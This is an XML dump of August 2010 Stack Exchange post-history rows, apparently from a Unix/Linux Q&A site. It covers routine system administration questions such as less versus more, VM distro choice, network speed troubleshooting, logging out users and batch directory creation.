  <row Id="1135" PostHistoryTypeId="2" PostId="605" RevisionGUID="b83d4fba-19f7-4882-83f6-484042a021be" CreationDate="2010-08-17T21:15:56.833" UserId="455" Text="The difference is mostly historical at this point, I believe some systems even have &quot;more&quot; and &quot;less&quot; hardlinked to the same binary.&#xD;&#xA;&#xD;&#xA;Originally, &quot;more&quot; pretty much only allowed you to move forward in a file, but was pretty decent for buffering output.&#xD;&#xA;&#xD;&#xA;&quot;less&quot; was written as an improved &quot;more&quot; that allowed you to scroll around the displayed text&#xD;&#xA;&#xD;&#xA;The first line of my &quot;man less&quot; pretty much sums it up:&#xD;&#xA;&#xD;&#xA;    Less is a program similar to more, but which allows backward movement in the file as well as forward movement. " />
  <row Id="1136" PostHistoryTypeId="2" PostId="606" RevisionGUID="3de02b57-bcc7-40dc-80f3-d2e5dbbdf0e1" CreationDate="2010-08-17T21:23:40.117" UserId="456" Text="I do the opposite (DEB-&gt;RPM) and it works fine." />
  <row Id="1137" PostHistoryTypeId="2" PostId="607" RevisionGUID="8cc04b3d-80d0-431a-b656-cc606115a262" CreationDate="2010-08-17T21:41:41.693" UserId="431" Text="I want a lightweight Linux VM that I can run with VirtualBox (I know icky to use something owned by Oracle at this point but it really is good), on Windows so I can test how to deploy PHP apps, Mono apps, etc. I don't need the ui and was thinking of going with the Ubuntu server ISO. Is that a good choice? I know I can also download a ready made VM and it's tempting. What does the community think?" />
  <row Id="1138" PostHistoryTypeId="1" PostId="607" RevisionGUID="8cc04b3d-80d0-431a-b656-cc606115a262" CreationDate="2010-08-17T21:41:41.693" UserId="431" Text="Good distro for a VM?" />
  <row Id="1139" PostHistoryTypeId="3" PostId="607" RevisionGUID="8cc04b3d-80d0-431a-b656-cc606115a262" CreationDate="2010-08-17T21:41:41.693" UserId="431" Text="évirtualömachineà" />
  <row Id="1140" PostHistoryTypeId="2" PostId="608" RevisionGUID="9e672f00-24e9-49ba-aeb1-029db176a525" CreationDate="2010-08-17T21:42:56.077" UserId="19" Text="Ubuntu still has distinct less/more bins.  At least mine does, or the 'more' command is sending different arguments to less.&#xD;&#xA;&#xD;&#xA;In any case, to see the difference, find a file that has more rows than you can see at one time in your terminal.  Type 'cat', then the file name.  It will just dump the whole file.  Type 'more', then the file name.  If on ubuntu, or at least my version (9.10), you'll see the first screen, then '--More--(27%)', which means there's more to the file, and you've seen 27% so far.  Press space to see the next page.  'less' allows moving line by line, back and forth, plus searching and a whole bunch of other stuff.&#xD;&#xA;&#xD;&#xA;Basically, use less.  You'll probably never need more for anything.  I've used less on huge files and it seems OK.  I don't think it does crazy things like load the whole thing into memory (*cough* Notepad).  Showing line numbers could take a while, though, with huge files." />
  <row Id="1141" PostHistoryTypeId="2" PostId="609" RevisionGUID="27552b99-07fa-4897-ba59-2dd3dc2338e7" CreationDate="2010-08-17T21:46:39.663" UserId="19" Text="Highly recommend ubuntu server.  The server mode will not put much that you don't really need, if anything.  I run ubuntu on several servers and have always been happy with it.&#xD;&#xA;&#xD;&#xA;You'll also find tons of online support that is relevant to your distro.  Linux advice generally translates from one distro to the next, but directory paths are often different.  Ubuntu has a huge user base, which generally means an easier time figuring out what's wrong." />
  <row Id="1142" PostHistoryTypeId="2" PostId="610" RevisionGUID="4b2d8f90-e09f-407a-8242-b1ff110a9540" CreationDate="2010-08-17T22:01:46.583" UserId="203" Text="Go to the [SuseGallery][1] and do a quick search for Mono and you will find [JEOS Mono ASP.net][2] which is already setup for most of what you want.  It is already a VM, just download and go.  It is what I have just started using for some ASP.net migration trials on Windows with VirtualBox.  You will need to start Apache.  You will want to set up port forwarding, I used the following commands to open SSH and HTTP traffic:&#xD;&#xA;&#xD;&#xA;    c:\&gt;vboxmanage modifyvm &quot;&lt;VMName&gt;&quot; --natpf1 &quot;guestssh,tcp,,2222,,22&quot;&#xD;&#xA;    c:\&gt;vboxmanage modifyvm &quot;&lt;VMName&gt;&quot; --natpf1 &quot;guesthttp,tcp,,8080,,80&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://susegallery.com/&#xD;&#xA;  [2]: http://susegallery.com/a/0uPadf/jeos-mono-aspnet" />
  <row Id="1143" PostHistoryTypeId="2" PostId="611" RevisionGUID="9df1c2ad-870f-4e4a-8897-8877cb4352ac" CreationDate="2010-08-17T22:01:48.643" UserId="357" Text="I have been pretty happy with a shell script called dssh.sh that utilizes ssh to communicate with many machines simultaneously.  It can execute the same command across lots of machines simultaneously and wait for them all to exit before returning.  To download and learn more about it, the best reference I have found is the [BASH Cures Cancer blog][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://swik.net/Unix/BASH+Cures+Cancer+Blog/dssh+-+executing+an+arbitrary+command+in+parallel+on+an+arbitrary+number+of+hosts/b1brs" />
  <row Id="1144" PostHistoryTypeId="2" PostId="612" RevisionGUID="940a8ddb-802f-4b87-8580-6eeb9d452db1" CreationDate="2010-08-17T22:03:47.377" UserId="460" Text="I am having some problems with network performance speed on a Linux server running Ubuntu 9.10. Transfer speeds on all types of traffic are around 1.5MB/s on a 1000mbit/s wired ethernet connection. This server has achieved 55MB/s over samba in the recent past. I have not changed the hardware or network set-up. I do run updates on a regular basis and the latest and greatest from Ubuntu's repositories is running on this machine.&#xD;&#xA;&#xD;&#xA;Hardware set-up&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;Desktop Windows PC - 1000 switch - 1000 switch - Linux server&#xD;&#xA;&#xD;&#xA;All switches are netgear, and they all show a green light for their connections which means the connection is 1000mbit/s. The lights are yellow when the connection is only 100mbit/s. Other diagnostic information:&#xD;&#xA;&#xD;&#xA;    root@server:~# ifconfig&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:0c:6e:3e:ae:36&#xD;&#xA;              inet addr:192.168.1.30  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;              inet6 addr: fe80::20c:6eff:fe3e:ae36/64 Scope:Link&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:28678 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:73531 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000&#xD;&#xA;              RX bytes:2109780 (2.1 MB)  TX bytes:111039729 (111.0 MB)&#xD;&#xA;              Interrupt:22&#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback&#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:113 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:113 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0&#xD;&#xA;              RX bytes:23469 (23.4 KB)  TX bytes:23469 (23.4 KB)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@server:~# ethtool eth0&#xD;&#xA;    Settings for eth0:&#xD;&#xA;            Supported ports: [ TP ]&#xD;&#xA;            Supported link modes:   10baseT/Half 10baseT/Full&#xD;&#xA;                                    100baseT/Half 100baseT/Full&#xD;&#xA;                                    1000baseT/Full&#xD;&#xA;            Supports auto-negotiation: Yes&#xD;&#xA;            Advertised link modes:  10baseT/Half 10baseT/Full&#xD;&#xA;                                    100baseT/Half 100baseT/Full&#xD;&#xA;                                    1000baseT/Full&#xD;&#xA;            Advertised auto-negotiation: Yes&#xD;&#xA;            Speed: 1000Mb/s&#xD;&#xA;            Duplex: Full&#xD;&#xA;            Port: Twisted Pair&#xD;&#xA;            PHYAD: 0&#xD;&#xA;            Transceiver: internal&#xD;&#xA;            Auto-negotiation: on&#xD;&#xA;            Supports Wake-on: pg&#xD;&#xA;            Wake-on: g&#xD;&#xA;            Current message level: 0x00000037 (55)&#xD;&#xA;            Link detected: yes&#xD;&#xA;&#xD;&#xA;    root@server:~# mii-tool&#xD;&#xA;    eth0: negotiated 1000baseT-FD flow-control, link ok&#xD;&#xA;&#xD;&#xA;The server thinks its got a 1000mbit/s connection. I have tested the speed of transfer by copying files using Samba. I have also used netcat (nc target 10000 &lt; aBigFile) on the server to transfer to Windows (nc -l -p 10000) and saw similar levels of poor performance.&#xD;&#xA;&#xD;&#xA;I tested the speed of the hard drives using hdparm and got:&#xD;&#xA;&#xD;&#xA;root@server:~# hdparm -tT /dev/md0&#xD;&#xA;&#xD;&#xA;    /dev/md0:&#xD;&#xA;     Timing cached reads:   1436 MB in  2.00 seconds = 718.01 MB/sec&#xD;&#xA;     Timing buffered disk reads:  444 MB in  3.02 seconds = 147.24 MB/sec&#xD;&#xA;&#xD;&#xA;Reading the same file for transfer using DD produced the following:&#xD;&#xA;&#xD;&#xA;    paul@server:/home/share/Series/New$ dd if=aBigFile of=/dev/null&#xD;&#xA;    3200369+1 records in&#xD;&#xA;    3200369+1 records out&#xD;&#xA;    1638589012 bytes (1.6 GB) copied, 12.7091 s, 129 MB/s&#xD;&#xA;&#xD;&#xA;I am stumped. What could be causing the poor network performance which is 2 orders of magnitude lower than what the network is capable of?" />
  <row Id="1145" PostHistoryTypeId="1" PostId="612" RevisionGUID="940a8ddb-802f-4b87-8580-6eeb9d452db1" CreationDate="2010-08-17T22:03:47.377" UserId="460" Text="Why is this network connection so slow?" />
  <row Id="1146" PostHistoryTypeId="3" PostId="612" RevisionGUID="940a8ddb-802f-4b87-8580-6eeb9d452db1" CreationDate="2010-08-17T22:03:47.377" UserId="460" Text="énetworkingàéubuntuàéperformanceàéprivateönetworkà" />
  <row Id="1147" PostHistoryTypeId="2" PostId="613" RevisionGUID="24fc2b03-0d12-44e5-99d2-264efeb3d41a" CreationDate="2010-08-17T22:04:49.810" UserId="185" Text="Rdiff Backup is really good http://rdiff-backup.nongnu.org/" />
  <row Id="1150" PostHistoryTypeId="2" PostId="615" RevisionGUID="a825c496-a1dc-49c8-b57d-e7dcb532f864" CreationDate="2010-08-17T22:17:04.560" UserId="29" Text="I was googling this a bit ago and noticed a couple of ways, but I'm guessing that google doesn't know all. So how do *you* kick users off your Linux box? also how do you go about seeing they are logged in in the first place? and related... does your method work if the user is logged into an X11 DE (not a requirement I'm just curious)?" />
  <row Id="1151" PostHistoryTypeId="1" PostId="615" RevisionGUID="a825c496-a1dc-49c8-b57d-e7dcb532f864" CreationDate="2010-08-17T22:17:04.560" UserId="29" Text="How do you kick a user off your system?" />
  <row Id="1152" PostHistoryTypeId="3" PostId="615" RevisionGUID="a825c496-a1dc-49c8-b57d-e7dcb532f864" CreationDate="2010-08-17T22:17:04.560" UserId="29" Text="éshellàéusersàéxorgàéadministrationà" />
  <row Id="1153" PostHistoryTypeId="2" PostId="616" RevisionGUID="3c6d6216-dfda-4f96-b7e8-798176ceadc4" CreationDate="2010-08-17T22:24:30.263" UserId="5" Text="What you want to use is screen or even better a user-friendly wrapper around screen called byobu.&#xD;&#xA;&#xD;&#xA;Screen allows you to run multiple virtual terminal sessions in the same ssh session. A [tutorial][1] and [help pages][2] are available.&#xD;&#xA;&#xD;&#xA;[byobu][3] is a wrapper that allows to easily open new screens with a simple function key instead of key combination from ctrl-a. It also shows a status line with all the open virtual terminals which can be named.&#xD;&#xA;&#xD;&#xA;Another nice feature is the fact that all your screen can stay up while your ssh connection is disconnected. You just connect again via ssh and call byobu and everything is like before. &#xD;&#xA;&#xD;&#xA;At last some [screenshots][4] of byobu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-tutorials.com/2007/05/04/command-line-multitasking-with-screen/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Screen&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/karmic/man1/byobu.1.html&#xD;&#xA;  [4]: http://unixlab.blogspot.com/2009/11/enhancing-terminals-with-byobu-on.html" />
  <row Id="1154" PostHistoryTypeId="5" PostId="616" RevisionGUID="5ab7ee4c-dfc4-4c2d-8c7d-ca290ddefa89" CreationDate="2010-08-17T22:32:38.803" UserId="5" Comment="added 192 characters in body" Text="By default you cannot re-connect to an abandoned ssh session. However, you can set up processes inside an ssh session, which you can reconnect to after your re-establish a new ssh session.&#xD;&#xA;&#xD;&#xA;What you want to use is screen or even better a user-friendly wrapper around screen called byobu.&#xD;&#xA;&#xD;&#xA;Screen allows you to run multiple virtual terminal sessions in the same ssh session. A [tutorial][1] and [help pages][2] are available.&#xD;&#xA;&#xD;&#xA;[byobu][3] is a wrapper that allows to easily open new screens with a simple function key instead of key combination from ctrl-a. It also shows a status line with all the open virtual terminals which can be named.&#xD;&#xA;&#xD;&#xA;Another nice feature is the fact that all your screen can stay up while your ssh connection is disconnected. You just connect again via ssh and call byobu and everything is like before. &#xD;&#xA;&#xD;&#xA;At last some [screenshots][4] of byobu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-tutorials.com/2007/05/04/command-line-multitasking-with-screen/&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Screen&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/karmic/man1/byobu.1.html&#xD;&#xA;  [4]: http://unixlab.blogspot.com/2009/11/enhancing-terminals-with-byobu-on.html" />
  <row Id="1155" PostHistoryTypeId="2" PostId="617" RevisionGUID="855bc3b5-817e-43ad-9eba-6590a7e83c2f" CreationDate="2010-08-17T22:33:46.120" UserId="467" Text="You might check the congestion of your network; perhaps some other devices are consuming all of your bandwidth?&#xD;&#xA;&#xD;&#xA;Beyond that, maybe something is wrong with your network interface and/or its driver. Pretty weird." />
  <row Id="1156" PostHistoryTypeId="2" PostId="618" RevisionGUID="cfe5d020-b39f-4b6c-b5f2-271b79b46db8" CreationDate="2010-08-17T22:35:17.477" UserId="305" Text="Sometimes I need to merge two patches. I can apply them but often it is not convenient (coping, temporary files etc.). Is there a tool to merge patches (assuming they are not conflicting)?" />
  <row Id="1157" PostHistoryTypeId="1" PostId="618" RevisionGUID="cfe5d020-b39f-4b6c-b5f2-271b79b46db8" CreationDate="2010-08-17T22:35:17.477" UserId="305" Text="How to merge patches" />
  <row Id="1158" PostHistoryTypeId="3" PostId="618" RevisionGUID="cfe5d020-b39f-4b6c-b5f2-271b79b46db8" CreationDate="2010-08-17T22:35:17.477" UserId="305" Text="écommandölineà" />
  <row Id="1159" PostHistoryTypeId="2" PostId="619" RevisionGUID="8264a1b3-72b8-4d68-838f-8397f6d24477" CreationDate="2010-08-17T22:42:29.137" UserId="357" Text="The answer that suggested &quot;system_profiler | grep 'System Version'&quot; is what I have tried to use in the past, but it has 2 problems.&#xD;&#xA;&#xD;&#xA;1. It is slow since it generates a full system_profiler dump of the machine, gathering all hardware and software inventory information.&#xD;&#xA;2. The output of system_profiler has changed over time.  e.g. output of grep for 'Serial Number' on 10.6.4 is &quot;Serial Number (system): ZNNNNNZNZZZ&quot;, whereas on 10.4.11 it was &quot;Serial Number: ZNNNNZNZZZZ&quot; - importance being the parse-ability of the output and the add &quot; (system)&quot; piece can be problematic unless you are expecting the change.&#xD;&#xA;&#xD;&#xA;My suggestion is to use &quot;sw_vers&quot;.  Example output as of 10.6.4:&#xD;&#xA;&#xD;&#xA;    &gt; sw_vers &#xD;&#xA;    ProductName:	Mac OS X&#xD;&#xA;    ProductVersion:	10.6.4&#xD;&#xA;    BuildVersion:	10F569&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1160" PostHistoryTypeId="2" PostId="620" RevisionGUID="331e2744-082c-4c44-b690-5f14c56da9a1" CreationDate="2010-08-17T22:43:10.837" UserId="467" Text="If you manage patches often, then you may be interested in quilt. I believe it has a patch combination feature.&#xD;&#xA;&#xD;&#xA;See [Quilt (software)][1] for more info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Quilt_(software)" />
  <row Id="1161" PostHistoryTypeId="2" PostId="621" RevisionGUID="92f719f6-f142-4b8d-8241-4707de9545c0" CreationDate="2010-08-17T22:47:37.990" UserId="474" Text="[`htop`][1] is a great replacement to `top`. It has... Colors! Simple keyboard shortcuts! Scroll the list using the arrow keys! Kill a process without leaving and without taking not of the PID!&#xD;&#xA;&#xD;&#xA;Among all of the features, the manpage says you can press `F` to *follow* a process.&#xD;&#xA;&#xD;&#xA;Really, you should try `htop`. I never started `top` again, after the first time I used `htop`.&#xD;&#xA;&#xD;&#xA;[1]: http://htop.sourceforge.net" />
  <row Id="1162" PostHistoryTypeId="2" PostId="622" RevisionGUID="c4ad2b02-1801-490c-931a-d3352909bf97" CreationDate="2010-08-17T23:00:11.453" UserId="73" Text="There's probably an easier way, but I do this:&#xD;&#xA;&#xD;&#xA;1. See who's logged into your machine -- use `who` or `w`:&#xD;&#xA;&#xD;&#xA;        &gt; who  &#xD;&#xA;        mmrozek  tty1         Aug 17 10:03  &#xD;&#xA;        mmrozek  pts/3        Aug 17 10:09 (:pts/2:S.0)&#xD;&#xA;&#xD;&#xA;2. Look up the process ID of the shell their TTY is connected to:&#xD;&#xA;&#xD;&#xA;        &gt; ps t  &#xD;&#xA;        PID   TTY      STAT   TIME COMMAND  &#xD;&#xA;        30737 pts/3    Ss     0:00 zsh&#xD;&#xA;&#xD;&#xA;3. Laugh at their impending disconnection (this step is optional, but encouraged)&#xD;&#xA;&#xD;&#xA;        &gt; echo &quot;HAHAHAHAHAHAHAHA&quot; | write mmrozek pts/3&#xD;&#xA;&#xD;&#xA;4. Kill the corresponding process:&#xD;&#xA;&#xD;&#xA;        &gt; kill -9 30737&#xD;&#xA;" />
  <row Id="1163" PostHistoryTypeId="5" PostId="622" RevisionGUID="b2bdef5b-8451-44ae-896c-eeeaeef12820" CreationDate="2010-08-17T23:06:56.513" UserId="73" Comment="added 274 characters in body; added 1 characters in body; deleted 1 characters in body" Text="There's probably an easier way, but I do this:&#xD;&#xA;&#xD;&#xA;1. See who's logged into your machine -- use `who` or `w`:&#xD;&#xA;&#xD;&#xA;        &gt; who  &#xD;&#xA;        mmrozek  tty1         Aug 17 10:03  &#xD;&#xA;        mmrozek  pts/3        Aug 17 10:09 (:pts/2:S.0)&#xD;&#xA;&#xD;&#xA;2. Look up the process ID of the shell their TTY is connected to:&#xD;&#xA;&#xD;&#xA;        &gt; ps t  &#xD;&#xA;        PID   TTY      STAT   TIME COMMAND  &#xD;&#xA;        30737 pts/3    Ss     0:00 zsh&#xD;&#xA;&#xD;&#xA;3. Laugh at their impending disconnection (this step is optional, but encouraged)&#xD;&#xA;&#xD;&#xA;        &gt; echo &quot;HAHAHAHAHAHAHAHA&quot; | write mmrozek pts/3&#xD;&#xA;&#xD;&#xA;4. Kill the corresponding process:&#xD;&#xA;&#xD;&#xA;        &gt; kill -9 30737&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just discovered you can combine steps 1 and 2 by giving `who` the `-u` flag; the PID is the number off to the right:&#xD;&#xA;&#xD;&#xA;    &gt; who -u&#xD;&#xA;    mmrozek  tty1         Aug 17 10:03 09:01        9250&#xD;&#xA;    mmrozek  pts/18       Aug 17 10:09 01:46       19467 (:pts/2:S.0)&#xD;&#xA;" />
  <row Id="1164" PostHistoryTypeId="5" PostId="621" RevisionGUID="b6ce11d8-b982-44e7-8644-0e0b8fae9f6c" CreationDate="2010-08-17T23:17:33.437" UserId="474" Comment="typo (+ one more sentence)" Text="[`htop`][1] is a great replacement to `top`. It has... Colors! Simple keyboard shortcuts! Scroll the list using the arrow keys! Kill a process without leaving and without taking note of the PID! Mark multiple processes and kill them all!&#xD;&#xA;&#xD;&#xA;Among all of the features, the manpage says you can press `F` to *follow* a process.&#xD;&#xA;&#xD;&#xA;Really, you should try `htop`. I never started `top` again, after the first time I used `htop`.&#xD;&#xA;&#xD;&#xA;[1]: http://htop.sourceforge.net" />
  <row Id="1169" PostHistoryTypeId="2" PostId="625" RevisionGUID="583dd14c-14ba-47bc-8935-a77976441f66" CreationDate="2010-08-17T23:43:06.860" UserId="474" Text="Not *that* painful... But a fun little moment:&#xD;&#xA;&#xD;&#xA;I've mistyped `ls` as `sl` and found out that the sysadmin had [something][1] installed for such case.&#xD;&#xA;&#xD;&#xA;(already available in [Debian][2], [Ubuntu][3], [Gentoo][4],... repositories)&#xD;&#xA;&#xD;&#xA;[1]: http://www.izumix.org.uk/sl/&#xD;&#xA;[2]: http://packages.debian.org/lenny/sl&#xD;&#xA;[3]: http://packages.ubuntu.com/lucid/sl&#xD;&#xA;[4]: http://packages.gentoo.org/package/app-misc/sl" />
  <row Id="1170" PostHistoryTypeId="16" PostId="625" RevisionGUID="583dd14c-14ba-47bc-8935-a77976441f66" CreationDate="2010-08-17T23:43:06.860" UserId="-1" />
  <row Id="1171" PostHistoryTypeId="2" PostId="626" RevisionGUID="2a862d89-45c4-4273-a0a5-2a2fcf8037b1" CreationDate="2010-08-17T23:43:48.760" UserId="481" Text="As Micheal already pointed out, you can use `who` to find out who's logged in. However if they have multiple processes, there's a more convenient way than killing each process individually: you can use `killall -u username` to kill all processes by that user." />
  <row Id="1172" PostHistoryTypeId="2" PostId="627" RevisionGUID="5a2f9fe1-ea1f-4ac9-ae6a-ff4041b2e0e4" CreationDate="2010-08-17T23:44:29.070" UserId="160" Text="I'm trying to create a package of Apache and its dependencies:&#xD;&#xA;&#xD;&#xA;    sudo make package-recursive \&#xD;&#xA;    __MAKE_CONF=~/make.apache22.conf \&#xD;&#xA;    PKGREPSOITORY=/usr/home/gvkv&#xD;&#xA;&#xD;&#xA;Everything works fine; Apache and its dependencies compile and install and `apache22.tbz` is in `gvkv`.  The problem is that the dependency packages are built in their respective `ports/&lt;package&gt;` directories!  There are about fifteen of them and while it's easy enough to retrieve them with `find` and a `perl` one-liner, surely there must be a way to tell `make` to run in an environment such that the dependency packages end up in `gvkv`." />
  <row Id="1173" PostHistoryTypeId="1" PostId="627" RevisionGUID="5a2f9fe1-ea1f-4ac9-ae6a-ff4041b2e0e4" CreationDate="2010-08-17T23:44:29.070" UserId="160" Text="How do I recursively apply PKGREPOSITORY when calling make package-recursive in FreeBSD?" />
  <row Id="1174" PostHistoryTypeId="3" PostId="627" RevisionGUID="5a2f9fe1-ea1f-4ac9-ae6a-ff4041b2e0e4" CreationDate="2010-08-17T23:44:29.070" UserId="160" Text="éfreebsdà" />
  <row Id="1175" PostHistoryTypeId="2" PostId="628" RevisionGUID="88c64cdc-65af-4b06-9d3d-5fbd06968acf" CreationDate="2010-08-18T00:14:03.740" UserId="305" Text="Other useful command is `pkill` here `pkill -u username &amp;&amp; pkill -9 -u username`.&#xD;&#xA;`killall` have disadvantage that on Solaris IIRC it means something completely different - also `pkill` have slightly more advanced options." />
  <row Id="1176" PostHistoryTypeId="2" PostId="629" RevisionGUID="02ea7e51-ee53-44a9-8b6b-f5a39c3d2a2f" CreationDate="2010-08-18T00:32:01.550" UserId="475" Text="I installed an ubuntu on a computer that is now used by somebody else. I renamed the account with her name, but it only changes the fullname, not the user name, which is still displayed in the top right (in the fast user switch applet).&#xD;&#xA;Is there a command to rename a unix user account? It doesn't seem so…&#xD;&#xA;&#xD;&#xA;I've thought of creating a new user account with the new name, and then copying everything in the &quot;old&quot; home to the home of the new account. Would it be enough? But then I think the files would have the old account's permissions' owner? So should I do `chown -R newuser ~`?&#xD;&#xA;&#xD;&#xA;Is there a simpler/recommended way to do this?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="1177" PostHistoryTypeId="1" PostId="629" RevisionGUID="02ea7e51-ee53-44a9-8b6b-f5a39c3d2a2f" CreationDate="2010-08-18T00:32:01.550" UserId="475" Text="Is it possible to rename a unix user account?" />
  <row Id="1178" PostHistoryTypeId="3" PostId="629" RevisionGUID="02ea7e51-ee53-44a9-8b6b-f5a39c3d2a2f" CreationDate="2010-08-18T00:32:01.550" UserId="475" Text="éshellàéusersàéloginà" />
  <row Id="1179" PostHistoryTypeId="2" PostId="630" RevisionGUID="46a79816-cd18-4979-90c3-4715f9c6184d" CreationDate="2010-08-18T00:36:29.747" UserId="31" Text="There are a couple of things that I do all the time in `less`, that doesn't work in `more` (at least the versions on the systems I use.  One is using &lt;kbd&gt;G&lt;/kbd&gt; to go to the end of the file, and &lt;kbd&gt;g&lt;/kbd&gt; to go to the beginning.  This is useful for log files, when you are looking for recent entries at the end of the file.  The other is search, where `less` highlights the match, while `more` just brings you to the section of the file where the match occurs, but doesn't indicate where it is." />
  <row Id="1180" PostHistoryTypeId="2" PostId="631" RevisionGUID="367bd9a7-3c2d-451a-aa32-906627f0c27a" CreationDate="2010-08-18T00:53:08.870" UserId="289" Text="If you're interested in maintaining the source, you could put it into a version control system, add patches to it, and get the patches you want out of it." />
  <row Id="1181" PostHistoryTypeId="2" PostId="632" RevisionGUID="eb373530-4055-48fd-b40a-623722588f79" CreationDate="2010-08-18T01:05:03.713" UserId="160" Text="Try&#xD;&#xA;&#xD;&#xA;    usermod -m -l &lt;new-login-name&gt; -d &lt;new-home-dir&gt; &lt;old-login-name&gt;&#xD;&#xA;&#xD;&#xA;The `-m` option moves the old home directory's contents to the new one given by the `-d` option which is created if it doesn't already exist.  See the man page for more info:&#xD;&#xA;&#xD;&#xA;    man usermod" />
  <row Id="1182" PostHistoryTypeId="2" PostId="633" RevisionGUID="f5d834cf-7562-436c-aa23-049a55160bf6" CreationDate="2010-08-18T01:05:29.300" UserId="488" Text="skill -KILL -u username - Logout the user 'username'&#xD;&#xA;man skill" />
  <row Id="1183" PostHistoryTypeId="2" PostId="634" RevisionGUID="17012c73-fbc3-42c2-951b-ea0c0f33932e" CreationDate="2010-08-18T01:17:14.703" UserId="487" Text="For whatever reasons, I've always used RPM based distros (Fedora, Centos and currently openSUSE). I have often heard it stated that deb is better than rpm, but when asked why, have never been able to get a coherent answer (usually get some zealous ranting and copious amounts of spittle instead).&#xD;&#xA;&#xD;&#xA;I understand there may be some historical reasons, but for modern distros using the two different packaging methods, can anybody give the technical (or other) merits of one vs. the other?" />
  <row Id="1184" PostHistoryTypeId="1" PostId="634" RevisionGUID="17012c73-fbc3-42c2-951b-ea0c0f33932e" CreationDate="2010-08-18T01:17:14.703" UserId="487" Text="What are the pros/cons of deb vs. rpm?" />
  <row Id="1185" PostHistoryTypeId="3" PostId="634" RevisionGUID="17012c73-fbc3-42c2-951b-ea0c0f33932e" CreationDate="2010-08-18T01:17:14.703" UserId="487" Text="épackagingàérpmà" />
  <row Id="1187" PostHistoryTypeId="2" PostId="636" RevisionGUID="4f91a094-cb34-45c8-a76d-a696aece647d" CreationDate="2010-08-18T01:33:57.517" UserId="171" Text="I know with mkdir I can do `mkdir A B C D E F` to create each directory.  How do I create directories A-Z or 1-100 with out typing in each letter or number?" />
  <row Id="1188" PostHistoryTypeId="1" PostId="636" RevisionGUID="4f91a094-cb34-45c8-a76d-a696aece647d" CreationDate="2010-08-18T01:33:57.517" UserId="171" Text="How do I make multiple directories at once in a directory ?" />
  <row Id="1189" PostHistoryTypeId="3" PostId="636" RevisionGUID="4f91a094-cb34-45c8-a76d-a696aece647d" CreationDate="2010-08-18T01:33:57.517" UserId="171" Text="élinuxàécommandölineà" />
  <row Id="1190" PostHistoryTypeId="2" PostId="637" RevisionGUID="5379031e-bfe0-48fe-8e9c-512f6d9bfb54" CreationDate="2010-08-18T01:37:51.753" UserId="73" Text="It's probably easiest to just use a `for` loop:&#xD;&#xA;&#xD;&#xA;    for char in {A..Z}; do&#xD;&#xA;        mkdir $char&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    for num in {1..100}; do&#xD;&#xA;        mkdir $num&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;You need at least bash 3.0 though; otherwise you have to use something like `seq`" />
  <row Id="1191" PostHistoryTypeId="2" PostId="638" RevisionGUID="f7e8e12a-2f7b-461f-8b1c-4a9ac66f9dd2" CreationDate="2010-08-18T01:44:59.240" UserDisplayName="Mike" Text="A quickie bash 'for' loop might be easiest, perhaps something like:&#xD;&#xA;&#xD;&#xA;    for h in host1 host2 host3&#xD;&#xA;    do &#xD;&#xA;       echo $h&#xD;&#xA;       ssh user@$h &quot;ps -ef&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Of course, cfengine/puppet/chef/capistrano are better configuration management options.  If you wanted to interactively send commands to the various shells, clusterm (http://sourceforge.net/projects/clusterm/) is a solid choice too." />
  <row Id="1192" PostHistoryTypeId="2" PostId="639" RevisionGUID="2dd763cd-3491-4233-b941-3870e5d77fb7" CreationDate="2010-08-18T01:46:27.957" UserId="505" Text="On Linux you can generate sequences of digits with the &quot;seq&quot; command, but this doesn't exist on all Unix systems.  For example to generate directories from 1 to 100:&#xD;&#xA;&#xD;&#xA;    mkdir `seq 1 100`&#xD;&#xA;&#xD;&#xA;While you can certainly make directories A to Z with shell utils:&#xD;&#xA;&#xD;&#xA;    seq 65 90 \&#xD;&#xA;        | while read foo; do printf &quot;%b\n&quot; `printf '\\\\x%x\n' $foo`; done \&#xD;&#xA;        | xargs mkdir&#xD;&#xA;&#xD;&#xA;It's probably a lot less ugly to just use Perl:&#xD;&#xA;&#xD;&#xA;    perl -e 'foreach (ord &quot;A&quot;..ord &quot;Z&quot;) { mkdir chr $_ }'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1193" PostHistoryTypeId="2" PostId="640" RevisionGUID="91520969-ba80-4e07-bf89-17e10f44f68a" CreationDate="2010-08-18T01:49:49.883" UserId="506" Text="The `{}` syntax is Bash syntax not tied to the `for` construct.&#xD;&#xA;&#xD;&#xA;    mkdir {A..Z}&#xD;&#xA;&#xD;&#xA;is sufficient all by itself." />
